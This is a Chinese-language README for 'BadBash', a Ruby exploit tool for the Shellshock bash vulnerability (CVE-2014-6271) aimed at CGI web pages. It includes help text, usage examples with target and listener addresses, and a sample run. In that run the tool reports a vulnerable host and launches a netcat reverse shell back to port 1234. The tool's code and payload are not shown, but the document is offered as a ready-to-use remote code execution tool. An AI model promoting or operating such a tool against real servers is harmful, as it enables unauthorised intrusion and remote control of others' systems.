BadBash 是一个 CVE-2014-6271 远程代码执行漏洞利用工具。基础版本仅针对 HTTP CGI 站点进行检测，并且只提供端口 1234 上的 netcat 反弹 shell。

开发者：Andy Yang 版本：0.1.0 许可证：GPLv3

================================================================================================ RainMak3r@Could:~/Desktop# ruby BadBash.rb -h

BadBash - CVE-2014-6271 远程代码执行工具，作者 Andy Yang 基础版本仅检测 HTTP 站点 基础版本仅提供端口 1234 上的 netcat 反弹 shell

使用示例：

 ./BBash.rb  -t 'www.target.com/cgi-folder/cgi.sh' -d '127.0.0.1'
 ./BBash.rb  -t '10.0.0.1/cgi-folder/cgi.sh' -d '127.0.0.1'
-t, --Target CGI path            CGI 页面的完整路径
-d, --Destination IP             监听入站连接时使用的你的 IP 地址
-h, --help                       显示帮助

================================================================================================ 使用示例。

RainMak3r@Could:~/Desktop#ruby BadBash.rb -t '172.16.235.140/cgi-bin/Andy.sh' -d '172.16.189.1'

[信息] 正在检查目标是否易受攻击........

[信息] 此过程最多需要 10 秒........

[信息] 目标存在漏洞!!!

[信息] 请使用 NC 监听端口 1234 以获取反弹 shell..........

[信息] 正在利用漏洞向 172.16.189.1:1234 发起通过 netcat 的反弹 shell ..........